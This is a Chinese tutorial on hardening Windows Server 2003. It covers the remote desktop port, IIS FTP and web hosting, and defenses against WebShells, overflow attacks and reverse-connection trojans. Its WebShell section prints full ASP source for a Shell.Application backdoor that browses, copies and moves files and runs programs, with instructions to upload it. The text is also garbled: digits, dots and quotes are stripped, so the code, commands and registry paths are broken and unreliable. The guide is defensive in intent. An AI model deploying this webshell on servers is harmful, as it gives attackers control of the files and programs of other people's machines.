Win2003服务器组网、安全管理全攻略二-网络安全-IT落伍者

终端服务器的安全配置

在本文第二节中我们已经介绍了在Windows组件向导里安装终端服务器的方法我们只须在Windows组件向导里勾选终端服务就可以使用终端服务远程管理服务器了相信大家都玩过了的肉鸡网络上大部份被黑客入侵的空口令肉鸡因为开放了终端远程管理服务而被黑客不费吹灰之力就能取得远程管理权

因为黑客们都是使用如 Xscan 等漏洞扫描软件只要黑客扫描端口的机器你的终端服务器就会暴露在黑客的眼前那就对你的服务器存在一定的危险性终端远程管理服务默认的情况下是开放端口的只要我们终端服务默认开放的端口号改一下那么黑客就很难猜测我们的服务器是否开放终端服务了

修改终端服务器端口号是通过修改Windows的注册表来实现的我们只要修改注册表中的其中一项键值即可点击开始菜单→运行在运行里输入 REGEDIT 命令启动注册表编辑器然后打开如下键值 [ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDPTcp\

找到如下键名 PortNumber 双击打开修改键值然后选择十进制(D)将原来的端口号改为你想更换的端口号本例中我们把端口改为如下图（图）所示

screenwidth)thiswidth=screenwidth border=>

（图）

在端口号修改完毕后我们重新启动计算机使修改的端口号生效这样别人就没法使用端口连接你的服务器了重启完成后我们以后如想连接终端服务器可打开终端服务客户端软件然后在计算机(C)的右栏中输入你服务器的IP地址及端口号即可登陆你的终端服务器假设我们的服务器IP地址为那么我们只要在输入框中输入如下地址即可登陆终端服务器: 其中IP与端口号用:分隔开如下图（图）所示

src=http://imgeducitycn/img_///jpg onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

（图）

当登陆成功后会出现以下成功登陆窗口如图（图）所示

src=http://imgeducitycn/img_///jpg onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

（图）

至此终端服务器端口修改成功

用IE远程管理服务器

黑防在上期杂志上刊登了Win的Web安全远程管理一文以下作一些补充详细安装远程WEB管理过程及基本功能请看上期黑防杂志《Win的Web安全远程管理》在这里我们需要补充的是基于WEB管理中的终端服务就是说我们可以通过任何一台客户机的IE浏览器直接进行远程桌面连接而不再依赖任何的终端服务客户端工具登陆Win的终端服务了

现在假设我们客户机使用的是Win系统服务器的IP地址这我们可在IE地址栏中输入地址 : 其中是远程管理的 Web 界面下的SSL端口然后输入管理员的用户名和密码并回车即可登陆Web远程管理界面在打开的服务管理界面中点击维护再点击远程桌面按钮就会弹出一个远程桌面管理维护的终端窗口现在就可以连接到远程服务器的桌面了在该窗口中你只要输入管理员的用户名及密码就能成功登陆远程桌面就像你登陆终端服务一样如上图（图）所示

无论是终端服务还是WEB远程桌面管理都是只能允许同时两个连接会话如果已经有两个以上会话在进行则新用户将被拒绝进行远程桌面管理登陆必须要等正在登陆的原来两个用户其中一个退出登陆会话后你才能登陆服务器远程桌面进行管理

FTP服务器配置

在本文第二节中我们已经介绍了在Windows组件向导里安装FTP服务器的方法现在我们开始使用Win系统自带的FTP服务架设一台安全的FTP服务器

步骤为FTP服务器建立一个安全的专用FTP帐号

点击开始菜单→管理工具→计算机管理这里弹出一个计算机管理窗口我们在里面建立一个供FTP客户端登陆的帐号双击左栏中的本地用户和组然后在右栏中点击鼠标右键选择新建命令就会弹出一个新用户建立窗口现在我们建立一个用户在这里我们建立一个用户名为 cnhack 的帐号密码为chinanetpk 并去除用户下次登陆时须更改密码的选项勾选用户不能更改密码及密码永不过期选项然后点击创建按钮就创建了一个用户名为 cnhack 的用户如下图（图）所示

src=http://imgeducitycn/img_///jpg onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

（图）

为了服务器安装着想我们还须进行如下安全设置在默认的情况下我们建立的用户帐号为 Users 组用户虽然普通用户组对服务器安全影响不大但我们还是把这个用户所属的 Users 组删除把刚建立的 cnhack 用户添加到 Guests 用户组步骤如下

右击右栏中刚才建立的普通用户 cnhack 出现一个菜单选择属性这时会弹出别一个窗口cnhack 属性窗口选择隶属于标签这时我们会看到cnhack 用户隶属于Users组我们选择下栏中的Users组名称并选择删除按钮这里cnhack用户原来的隶属组被删除我们再点击下栏中的添加按钮这时弹出一个选择组窗口选择高级按钮再点击立即查找按钮这时我们会看到一个Guests用户组名双击Guests用户组名称后返回选择组窗口点击确定按钮退出这样我们就把刚建立的 cnhack 用户添加进了Guests 用户组并把原 cnhack 隶属的用户组删除了基本配置方法如下图（图）所示

src=http://imgeducitycn/img_///jpg onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

（图）

为了服务器安装着想我们还应在cnhack属性栏里选择远程控制标签把启用远程控制的勾去掉这里一个安全的FTP帐号建立成功如下图（图）所示

src=http://imgeducitycn/img_///jpg onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

（图）

本例中我们在D盘建立一个文件夹并重命名该文件夹文件名为 cnhack 然后在该文件夹图标处点击右键出现一菜单选择属性这里弹出一个属性对话框在 cnhack 属性中选择安全标签点击右下方的高级选项并去除勾选允许父项的继承权限传播到该对像和所有对像包括那些在此明确定定义的项目(A)如下图（图）所示

src=http://imgeducitycn/img_///jpg onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

（图）

然后点击确定按钮返回cnhack属性的安全标签在这里会看到还剩下一个超级管理员组 Administrators 成员可以管理cnhack 文件夹我们再勾选允许超级管理员组成员允许完全控制该文件夹这样就给了我们管理员组对cnhack文件夹的完全控制权现在我们再给我们刚才建立的 cnhack 用户管理权限我们点击添加按钮根据提示把 cnhack 帐号添加成为 cnhack 文件夹的管理员然后再勾选允许cnhack 帐号完全管理该文件夹这样就给了 cnhack 帐号对该文件夹的完全管理权如下图（图所示）

src=http://imgeducitycn/img_///jpg onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

（图）

现在D:\cnhack 文件夹只允许超级管理员组Administrators 成员和帐号为 cnhack 的来宾组成员进行管理与访问了其它帐户的帐号将不能对 cnhack 文件夹有任何的访问权及修改权限

步骤使用Internet 信息服务(IIS)管理器建立一个安全的FTP空间

现在我们打开开始菜单→程序→管理工具→Internet 信息服务(IIS)管理器弹出一个IIS管理器窗口在里面找到FTP站点 →默认 FTP 站点并在默认 FTP 站点里点击鼠标右键选择属性选择出现一个默认 FTP 站点属性对话框选择主目录标签把原来默认的地址改为我们刚才建立的文件夹D:\cnhack 的路径下面会有三个选项分别是读取写入记录访问你可以根据需要勾选如果中介提供给别人下载的FTP空间则不要勾选写入选项如果需要提供给别人上传及更改FTP空间内容的则需要勾选写入选项本例中我们是让朋友可以把数据上传到FTP空间的所以我们勾选了写入选项如下图（图）所示

src=http://imgeducitycn/img_///jpg onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

（图）

下面我们再来配置使用指定的我们刚才建立的帐号cnhack 才能登陆现在这个FTP空间我们现在点击安全帐户标签再点击浏览按钮根据提示选择我们刚才建立的cnhack用户名然后点击确定这样就指定了这个空间只有使用我们设置的 cnhack 用户帐号才能登陆记住不要勾选下面的只允许匿名连接选项因为这样将会带来安全问题如下图（图）所示

src=http://imgeducitycn/img_///jpg onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

（图）

现在我们再来指定该FTP站点的IP地址我们只要点击FTP站点标签然后在IP地址（I）的右栏输入框里输入我们本机的IP地址即可还有可以在TCP/IP端口（T）的右输入框里修改当前FTP站点的TCP/IP端口号默认情况下是使用端口的如下图（图）所示

src=http://imgeducitycn/img_///jpg onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

（图）

这样一个安全的FTP站点就建立成功了使用IIS建立的FTP服务器可以使用IE及FTP客户端软件登陆FTP空间而且功能强大

IIS下防范WebShell安全配置

前几节中我们已经介绍过了如何在IIS下配置CGIPHP在Win系统下ASP和ASPX都是系统组件都可以在开始菜单 →控制面版→添加删除程序里安装及删除的关于安装及配置上述组件的方法在这里不再详述

（）配置一个简单的WWW虚拟主机

现在我们举例如何组建一个WWW的虚拟主机网站我们现在打开Internet 信息服务(IIS)管理器在左栏窗口中双击网站会展开一个关联菜单找到默认网站点击右键出现一个菜单选择菜单里的属性选项弹出一个默认网站属性窗口现在我们选择网站标签在IP地址（I）的右栏里输入你机器的IP地址本例中我们的IP地址输入为这个IP地址就是我本机的IP地址在TCP端口（T）里我们可以看到默认的浏览窗口是在这里我们可以更改浏览网站的端口号点击右栏的高级（D）按钮我们可以在里面添加或删除我们网站的浏览域名当然这个域名是你在Internet上申请来的并把域名的A记录指向到了你的本机IP以后我们就可以使用域名记录来访问你的网站了

现在我们来配置这个虚拟主机的WWW访问目录我们点击主目录标签在本地路径（C）的右栏里输入你这个虚拟主机在WWW所要浏览的目录在本例中我们输入D:\cnhack 这样明人就能在WWW上通过 http 协议访问我们服务器里的 D:\cnhack 目录里的资源了在本地路径（C）的下方有多个可勾选的选项一般我们保留默认的就行了千万不要勾选写入项因为这样将会导致服务器的安全问题一般我们只使用默认的读取（R）记录访问（V）索引资源（I）就已经足够了如下图（图）所示

src=http://imgeducitycn/img_///jpg onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

（图）

我们还可以在文档标签里添加虚拟主机默认的首页文件名等这样一个简单的虚拟主机服务就配置完成了如果你已经按上几节所写的配置过成那么现在你的这个虚拟主机将会是已经支持ASPASPXCGIPHPFSOJMAILMySqlSMTPPOPFTP终端服务远程桌面Web连接管理服务等功能强大的服务器了

（）安全使用FSO主机

其实按我们上一节所说的配置一个简单的虚拟主机这样的主机是存在各种WEBSHELL的威胁的假如你给朋友开了个虚拟主机空间那么这个虚拟主机存在的最大安全隐患将会是FSO权限问题其实FSO的安全隐患在WinK系统里已经是令网管头疼的事了但在Win中这个FSO的安全隐患却依然没有解决在没有经过安全配置的虚拟主机下只要黑客给虚拟主机空间上传一个ASP木马黑客就能利用FSO权限浏览服务器里的所有文件并能复制删除服务器里的所有文件甚至能利用ASP木马取得服务器的管理权可见FSO安全配置的重要性

下面我们举例如果黑客通过某些手段在你的虚拟主机空间上传了一个ASP木马那么就等于黑客已经拥有了一个WEBSHELL黑客可以通过这个WEBSHELL控制整台服务器里的数据本例中我们介绍的是黑客们都熟悉的海阳顶端asp木马这种WEBSHELL能通过网页在线更改编辑删除移动上传下载服务器上的任意文件只要黑客给你的服务器传上这个ASP木马你的服务器上的所有文件就会控制在黑客的手上黑客能在你的服务器干什么？就是上面提及到的更改删除移动……如下图（图）所示

src=http://imgeducitycn/img_///jpg width= onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

（图）

看到这个图你也能想像到你的服务器到最后会变得怎么样了你服务器上的资料将没有隐私可言了想黑你服务器上的主页或是删除你服务器上的文件都是点几下鼠标就能办到的了这种ASP木马网络上各黑客网站均有下载源代码就不便写出来了各黑客网站上还有其它版本的ASP木马下载但基本上都是调用FSO（ScriptingFileSystemObject）写的

其实你如果要防范这种攻击你只要把ASP中的FSO（ScriptingFileSystemObject）功能删除就行了删除FSO权限方法就是在CMD的命令提示符下输入以下命令

Regsvr /u c:\windows\system\scrrundll

注意在实际操作的时候要更改成为你本地系统安装目录的实际路径但是使用这种方法删除也太绝了一点如果以后我们想使用FSO权限那就用不了啦所以建议不要使用这种方法删除FSO权限

显而易见如果这样做那么包括站点系统管理员在内的任何人都将不可以使用FileSystemObject对象了这其实并不是站点管理人员想要得到的结果毕竟我们使用这个对象可以实现方便的在线站台管理如果连系统管理员都没法使用了那可就得不偿失了但是不禁止这个危险的对象又会给自己的站点带来安全漏洞那么有没有两全其美的方法呢？有！具体方法如下

我们可以做到禁止其他人非法使用FileSystemObject对象但是我们自己仍然可以使用这个对象

方法如下

查找注册表中

HKEY_CLASSES_ROOT\ScriptingFileSystemObject 键值

将其更改成为你想要的字符串(右键>重命名)比如更改成为

HKEY_CLASSES_ROOT\ScriptingFileSystemObject

这样在ASP就必须这样引用这个对象了:

Set fso = CreateObject(ScriptingFileSystemObjectnetpk)

而不能使用:

Set fso = CreateObject(ScriptingFileSystemObject)

如果你使用通常的方法来调用FileSystemObject对象就会无法使用了

呵呵只要你不告诉别人这个更改过的对象名称其他人是无法使用FileSystemObject对象的这样作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了！

()免FSO对像就能使用的ASP木马防范方法

对于这种免FSO对像就能使用的ASP木马由于少了FSO对像的支持功能上当然不会很强大的了只有浏览服务器上的文件目录复制移动文件执行指定路径的程序文件等功能以下是当你浏览这个ASP木马时所出现的图例如(图)所示

src=http://imgeducitycn/img_///png onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

（图）

你可以通过这个免FSO支持的ASP木马对服务器上的文件进行任意的复制及移动和执行程序这个木马程的功能随然简单但是用它来黑一个网站就是已经足够的了比如我们可以把网站的首页移动到其它地方然后我们再复制一个同名的黑客网页进去就行了使用执行程序功能让服务器执行任意的木马程序以取得服务器的ADMIN管理权等

以下我给出这个免FSO对像的ASP源代码代码如下

<%responsewrite <font size= color=red>一次只能执行一个操作:)</font> %>

<%responsewrite now()%><BR>程序所在的物理路径

<%responsewrite requestservervariables(APPL_PHYSICAL_PATH)%>

<html>

<title>asps shellapplication backdoor </title>

<body>

<form action=<%= RequestServerVariables(URL) %> method=POST>

<input type=text name=text value=<%=szCMD %>> 输入要浏览的目录<br>

copy

move

路径<input type=text name=text value=<%=szCMD %>>

程序<input type=text name=text value=<%=szCMD %>><br>

</form>

</body>

</html>

szCMD = RequestForm(text) 目录浏览

if (szCMD <> ) then

set shell=servercreateobject(shellapplication) 建立shell对象

set fod=shellnamespace(szcmd)

set foditems=ems

for each co in foditems

responsewrite <font color=red> & copath & & cosize & </font><br>

end if

szCMD = RequestForm(text) 目录拷贝不能进行文件拷贝

szCMD = RequestForm(text)

if szcmd<> and szcmd<> then

set shell=servercreateobject(shellapplication) 建立shell对象

set fod=shellnamespace(szcmd)

for i=len(szcmd) to step

if mid(szcmdi)=\ then

path=left(szcmdi)

exit for

end if

if len(path)= then path=path & \

path=right(szcmdlen(szcmd)i)

set fod=shellnamespace(path)

set foditem=fodparsename(path)

pyhere foditem

responsewrite command completed success!

end if

szCMD = RequestForm(text) 目录移动

szCMD = RequestForm(text)

if szcmd<> and szcmd<> then

set shell=servercreateobject(shellapplication) 建立shell对象

set fod=shellnamespace(szcmd)

for i=len(szcmd) to step

if mid(szcmdi)=\ then

path=left(szcmdi)

exit for

end if

if len(path)= then path=path & \

path=right(szcmdlen(szcmd)i)

set fod=shellnamespace(path)

set foditem=fodparsename(path)

fodmovehere foditem

responsewrite command completed success!

end if

szCMD = RequestForm(text) 执行程序要指定路径

szCMD = RequestForm(text)

if szcmd<> and szcmd<> then

set shell=servercreateobject(shellapplication) 建立shell对象

shellnamespace(em(szcmd)invokeverb

responsewrite command completed success!

end if

你只要把上面的代码写在记事本里保存扩展名为 ASP 再传到你的虚拟主机空间就可以运行了

防范免FSO支持的ASP木马方法如下

通过上面的代码我们可以看出这段代码的SHELL是通过shellapplication 建立 shell 对像的我们只要在注册表里查找键值shellapplication和 wscriptshell 键值然后把这些键值删除就能防止这一类的ASP木马攻击了删除这些键值对你的服务器及ASP支持等不会造成影响的所以请放心删除

各黑客网站上还有各种各样的WEBSHELL下载除了ASP的WEBSHELL以外还有CGIPHPJSP的等等基本上都是大同小异的还有一些WEBSHELL是调用系统下的CMDEXE命令运行的但这些调用服务器系统CMDEXE的WEBSHELL木马在Win下没法运行了能调用CMDEXE命令的WEBSHELL只在WinK下测试通过在Win下那些ASPCGIPHPJSP的WEBSHELL已经不能调用CMDEXE的命令了原因很简单因为WinK下的CMDEXE命令在默认情况下是能以匿名及来宾权限访问的而Win系统下CMDEXE命令却禁止了Everyone匿名访问及Guests组的访问权限了所以各种调用CMDEXE的WEBSHELL木马都没法运行了这也算是Win系统安全上的一点进步吧

十一配置一台安全的服务器把各种溢出攻击反向连接木马拒于门外

上一节中我们谈到了有些WEBSHELL能通过调用系统的CMDEXE命令在服务器上运行CMD命令我们再细想一下现在网络上流行的溢出攻击如WEBDAV溢出等不就是对存有溢出漏洞的服务器进行溢出攻击的吗？攻击成功后被溢出的服务器就会自动绑定服务器的CMDEXE命令黑客就会远程连接被溢出成功的服务器的CMDEXE命令行以取得远程服务器的系统管理权

既然黑客的溢出攻击是通过溢出攻击工具溢出成功后绑定CMDEXE命令并以SYSTEM系统权限登陆服务器的只要我们对Win系统下的C:\WINDOWS\SYSTEM\CMDEXE文件设置一定的权限呵呵那么黑客的这些溢出攻击都将没用武之地了为了安全起见我们还要对如 netexe caclsexe telnetexe tftpexe ftpexe mountvolexe mshtaexe等危险的命令作出权限设置因为这些危险的文件默认的情况下都是允许SYSTEM权限的用户访问及执行的只有为这些文件设置了权限这样才能确保服务器系统真正的安全这些危险的文件默认的情况下都是存放在 C:\WINDOWS\SYSTEM 的目录下的设置权限的方法如下图（图）所示

src=http://imgeducitycn/img_///jpg onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

(图)

清除原来的所有其它用户访问这些命令的权限然后只设置允许你正在使用的超级用户拥有使用这些命令的权限比如说你正在使用的超级用户名是 administrator 那么你就在权限设置里只允许用户名为 administrator 的用户使用这些命令

通过这些安全配置以后你的服务器就算存在溢出漏洞就算黑客对你的服务器进行溢出攻击成功黑客也没法登陆你的服务器的了因为一般黑客的溢出攻击都是通过绑定远程被溢出攻击服务器的系统CMD命令登陆的并且是以SYSTEM权限登陆而你在CMD的使用权限里删除了所有用户的使用CMD权限只有你正在使用的超级管理员帐号才能拥有这个CMD命令的使用权所以黑客就算溢出成功了也没法远程连接并登陆你的服务器了通过最简单的安全配置就能防范多种未知及已知的溢出攻击是不是很实用呢！）

但这只能是相对的安全因为有些溢出攻击黑客能直接把反向连接的木马文件传到你的服务器上并能运行哦呵呵如最近出现的ServU溢出如果你的FTP服务器使用了ServU的话你又没有打上最新的安全补丁让黑客溢出成功了那么黑客可以不绑定你的CMD命令登陆你的服务器而是给你服务器传一个反向连接的木马后门这种反向连接的后门是通过你的服务器向黑客的机器连接而黑客只要在自己的机器监听只要你的服务器中了这种后门那么就算你的服务器安装了防火墙并屏蔽了所有不使用的端口黑客不能正向与你的服务器联接木马后门但黑客给你传一个反向连接的木马这个木马是通过你的服务器连接黑客的机器的只要你的服务器向黑客的机器发出连接请求黑客就能取得你服务器的控制权而这种反向木马攻击可以完全不依赖于Win系统下的CMDEXE可以反向连接木马的危害性

那么我们如何防止这一类的反向木马攻击呢？方法很简单那就是安装一个具有防止反向连接木马的防火墙如天网及金山网镖等防火墙都是具有防止反向连接功能的因为这些防火墙都有应用程序访问网络权限设置功能服务器上的任何一个程序要访问网络都会弹出一个警告窗口必须要服务器的管理员同意允许该应用程序访问网络后这些程序才能访问网络这项功能正好用于防范反向木马下面举一个例子如你的服务器安装了天网防火墙如黑客成功溢出了你的ServU服务器并给你传了一个反向连接的后门木马这个后门木马在你的服务器的 C:\MMEXE 黑客所在IP地址是现在黑客要对你服务器的这个反向连接木马进行连接只要黑客在你服务器上运行了这个反向木马那么你的天网防火墙就会弹出一个警告窗口如下图（图）所示

src=http://imgeducitycn/img_///jpg onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

（图）

通过上述配置我们的服务器已经能抵挡目前已知及未知的任何溢出攻击了当然这些对于服务器安全来说还不够的我们还要屏蔽掉一些我们不使用的服务端口方法很简单在桌面上右键点击网上邻居图标出现一菜单选择属性这时弹出一个网络连接的窗口找到本地连接再点击鼠标右键选择属性弹出本地连接属性窗口选择Internet 协议（TCP/IP）再点击属性按钮弹出Internet 协议（TCP/IP）属性窗口点击高级（V）按钮出现高级TCP/IP 设置窗口选择选项标签再点击属性（P）按钮这时弹出一个TCP/IP筛选对话框在这个窗口里设置你需要开放服务的端口如FTP服务需要开放端口WWW服务需要开放端口SMTP服务需要开放端口POP服务需要开放端口终端服务需要开放端口MYSQL数据库需要开放端口……

如下图（图）所示

src=http://imgeducitycn/img_///jpg onload=javascript:if(thiswidth>screenwidth)thiswidth=screenwidth border=>

（图）

只要你通过了本文所述的方法配置你的服务器你的服务器将会是一台稳若金汤的服务器目前网络上流行的溢出攻击及一些未知的溢出等攻击方法各种ASPASPXCGIPHPJSP的WEBSHELL攻击等在你的服务器里也没用武之地